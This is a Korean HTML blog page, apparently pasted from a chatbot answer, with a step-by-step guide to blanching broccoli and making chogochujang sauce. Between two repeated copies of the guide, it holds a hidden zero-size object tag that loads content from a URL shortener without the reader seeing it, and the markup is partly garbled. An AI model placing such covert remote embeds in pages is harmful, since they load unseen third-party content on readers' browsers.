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<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:29">브로콜리 데치기부터 초고추장까지 완벽 가이드!</h2><p data-sourcepos="3:1-3:37">브로콜리를 맛있게 즐기기 위한 모든 과정을 단계별로 알려드릴게요.</p><h3 data-sourcepos="5:1-5:16">1. 브로콜리 손질하기</h3><ul data-sourcepos="7:1-10:0">
<li data-sourcepos="7:1-7:52"><strong>싱싱한 브로콜리 선택:</strong> 꽃송이가 紧凑하고 색이 짙으며 줄기가 단단한 것을 고르세요.</li>
<li data-sourcepos="8:1-8:79"><strong>세척:</strong> 흐르는 물에 송이를 하나씩 떼어내며 꼼꼼히 씻어주세요. 송이 사이사이에 숨어 있는 흙이나 이물질을 제거하는 것이 중요합니다.</li>
<li data-sourcepos="9:1-10:0"><strong>줄기 손질:</strong> 딱딱한 밑동 부분은 버리고, 먹기 좋은 크기로 잘라주세요.</li>
</ul><h3 data-sourcepos="11:1-11:15">2. 브로콜리 데치기</h3><ul data-sourcepos="13:1-16:0">
<li data-sourcepos="13:1-13:43"><strong>끓는 물 준비:</strong> 넉넉한 냄비에 물을 끓이고 소금을 약간 넣어주세요.</li>
<li data-sourcepos="14:1-14:82"><strong>데치기:</strong> 끓는 물에 브로콜리를 넣고 30초~1분 정도 데쳐주세요. 너무 오래 데치면 식감이 물러지니 시간을 잘 조절하는 것이 중요합니다.</li>
<li data-sourcepos="15:1-16:0"><strong>찬물에 헹구기:</strong> 데친 브로콜리를 찬물에 헹궈 열기를 식혀주고 아삭한 식감을 유지해주세요.</li>
</ul><h3 data-sourcepos="17:1-17:14">3. 브로콜리 숙회</h3><p data-sourcepos="19:1-19:28">데친 브로콜리는 다양한 요리에 활용할 수 있습니다.</p><ul data-sourcepos="21:1-24:0">
<li data-sourcepos="21:1-21:48"><strong>샐러드:</strong> 다른 채소와 함께 버무려 상큼한 샐러드를 만들어 먹을 수 있습니다.</li>
<li data-sourcepos="22:1-22:48"><strong>볶음:</strong> 고기나 해산물과 함께 볶아서 든든한 한 끼 식사로 즐길 수 있습니다.</li>
<li data-sourcepos="23:1-24:0"><strong>무침:</strong> 간장, 식초, 참기름 등으로 간단하게 무쳐 먹을 수 있습니다.</li>
</ul><h3 data-sourcepos="25:1-25:15">4. 초고추장 만들기</h3><ul data-sourcepos="27:1-31:0">
<li data-sourcepos="27:1-27:36"><strong>재료:</strong> 고추장, 식초, 설탕, 다진 마늘, 참기름, 물</li>
<li data-sourcepos="28:1-31:0"><strong>만드는 법:</strong> 모든 재료를 볼에 넣고 잘 섞어주면 초고추장 완성!
<ul data-sourcepos="29:5-31:0">
<li data-sourcepos="29:5-29:33">취향에 따라 쪽파나 양파를 다져 넣어도 좋습니다.</li>
<li data-sourcepos="30:5-31:0">매운 맛을 좋아한다면 고춧가루를 추가해도 좋습니다.</li>
</ul>
</li>
</ul><p data-sourcepos="32:1-32:6"><strong>팁:</strong></p><ul data-sourcepos="34:1-37:0">
<li data-sourcepos="34:1-34:39">브로콜리를 데칠 때 뚜껑을 덮으면 비타민 손실을 줄일 수 있습니다.</li>
<li data-sourcepos="35:1-35:41">데친 브로콜리를 바로 냉장 보관하면 신선도를 오래 유지할 수 있습니다.</li>
<li data-sourcepos="36:1-37:0">초고추장은 미리 만들어 냉장 보관하면 언제든지 꺼내 먹을 수 있습니다.</li>
</ul><p data-sourcepos="38:1-38:46"><strong>다양한 브로콜리 요리 레시피를 찾고 싶으시다면, 관련 키워드로 검색해보세요!</strong></p><p data-sourcepos="40:1-40:46"><strong>예시:</strong> 브로콜리 볶음 레시피, 브로콜리 샐러드 레시피, 브로콜리 스프 레시피</p><p data-sourcepos="42:1-42:31"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요!</strong></p><hr data-sourcepos="44:1-44:3"><p data-sourcepos="46:1-46:35"><strong>더 자세한 정보를 원하시면 아래와 같은 질문을 해주세요.</strong></p><ul data-sourcepos="48:1-52:0">
<li data-sourcepos="48:1-48:12">브로콜리 보관 방법</li>
<li data-sourcepos="49:1-49:12">브로콜리 영양 성분</li>
<li data-sourcepos="50:1-50:47">브로콜리 활용 요리 레시피 (예: 브로콜리 베이컨 볶음, 브로콜리 치즈 구이 등)</li>
<li data-sourcepos="51:1-52:0">초고추장 응용법 (예: 쌈장 만들기, 마요네즈와 섞어 디핑 소스 만들기 등)</li>
</ul><p data-sourcepos="53:1-53:19"><strong>즐거운 요리 시간 되세요!</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:29">브로콜리 데치기부터 초고추장까지 완벽 가이드!</h2><p data-sourcepos="3:1-3:37">브로콜리를 맛있게 즐기기 위한 모든 과정을 단계별로 알려드릴게요.</p><h3 data-sourcepos="5:1-5:16">1. 브로콜리 손질하기</h3><ul data-sourcepos="7:1-10:0">
<li data-sourcepos="7:1-7:52"><strong>싱싱한 브로콜리 선택:</strong> 꽃송이가 紧凑하고 색이 짙으며 줄기가 단단한 것을 고르세요.</li>
<li data-sourcepos="8:1-8:79"><strong>세척:</strong> 흐르는 물에 송이를 하나씩 떼어내며 꼼꼼히 씻어주세요. 송이 사이사이에 숨어 있는 흙이나 이물질을 제거하는 것이 중요합니다.</li>
<li data-sourcepos="9:1-10:0"><strong>줄기 손질:</strong> 딱딱한 밑동 부분은 버리고, 먹기 좋은 크기로 잘라주세요.</li>
</ul><h3 data-sourcepos="11:1-11:15">2. 브로콜리 데치기</h3><ul data-sourcepos="13:1-16:0">
<li data-sourcepos="13:1-13:43"><strong>끓는 물 준비:</strong> 넉넉한 냄비에 물을 끓이고 소금을 약간 넣어주세요.</li>
<li data-sourcepos="14:1-14:82"><strong>데치기:</strong> 끓는 물에 브로콜리를 넣고 30초~1분 정도 데쳐주세요. 너무 오래 데치면 식감이 물러지니 시간을 잘 조절하는 것이 중요합니다.</li>
<li data-sourcepos="15:1-16:0"><strong>찬물에 헹구기:</strong> 데친 브로콜리를 찬물에 헹궈 열기를 식혀주고 아삭한 식감을 유지해주세요.</li>
</ul><h3 data-sourcepos="17:1-17:14">3. 브로콜리 숙회</h3><p data-sourcepos="19:1-19:28">데친 브로콜리는 다양한 요리에 활용할 수 있습니다.</p><ul data-sourcepos="21:1-24:0">
<li data-sourcepos="21:1-21:48"><strong>샐러드:</strong> 다른 채소와 함께 버무려 상큼한 샐러드를 만들어 먹을 수 있습니다.</li>
<li data-sourcepos="22:1-22:48"><strong>볶음:</strong> 고기나 해산물과 함께 볶아서 든든한 한 끼 식사로 즐길 수 있습니다.</li>
<li data-sourcepos="23:1-24:0"><strong>무침:</strong> 간장, 식초, 참기름 등으로 간단하게 무쳐 먹을 수 있습니다.</li>
</ul><h3 data-sourcepos="25:1-25:15">4. 초고추장 만들기</h3><ul data-sourcepos="27:1-31:0">
<li data-sourcepos="27:1-27:36"><strong>재료:</strong> 고추장, 식초, 설탕, 다진 마늘, 참기름, 물</li>
<li data-sourcepos="28:1-31:0"><strong>만드는 법:</strong> 모든 재료를 볼에 넣고 잘 섞어주면 초고추장 완성!
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<li data-sourcepos="29:5-29:33">취향에 따라 쪽파나 양파를 다져 넣어도 좋습니다.</li>
<li data-sourcepos="30:5-31:0">매운 맛을 좋아한다면 고춧가루를 추가해도 좋습니다.</li>
</ul>
</li>
</ul><p data-sourcepos="32:1-32:6"><strong>팁:</strong></p><ul data-sourcepos="34:1-37:0">
<li data-sourcepos="34:1-34:39">브로콜리를 데칠 때 뚜껑을 덮으면 비타민 손실을 줄일 수 있습니다.</li>
<li data-sourcepos="35:1-35:41">데친 브로콜리를 바로 냉장 보관하면 신선도를 오래 유지할 수 있습니다.</li>
<li data-sourcepos="36:1-37:0">초고추장은 미리 만들어 냉장 보관하면 언제든지 꺼내 먹을 수 있습니다.</li>
</ul><p data-sourcepos="38:1-38:46"><strong>다양한 브로콜리 요리 레시피를 찾고 싶으시다면, 관련 키워드로 검색해보세요!</strong></p><p data-sourcepos="40:1-40:46"><strong>예시:</strong> 브로콜리 볶음 레시피, 브로콜리 샐러드 레시피, 브로콜리 스프 레시피</p><p data-sourcepos="42:1-42:31"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요!</strong></p><hr data-sourcepos="44:1-44:3"><p data-sourcepos="46:1-46:35"><strong>더 자세한 정보를 원하시면 아래와 같은 질문을 해주세요.</strong></p><ul data-sourcepos="48:1-52:0">
<li data-sourcepos="48:1-48:12">브로콜리 보관 방법</li>
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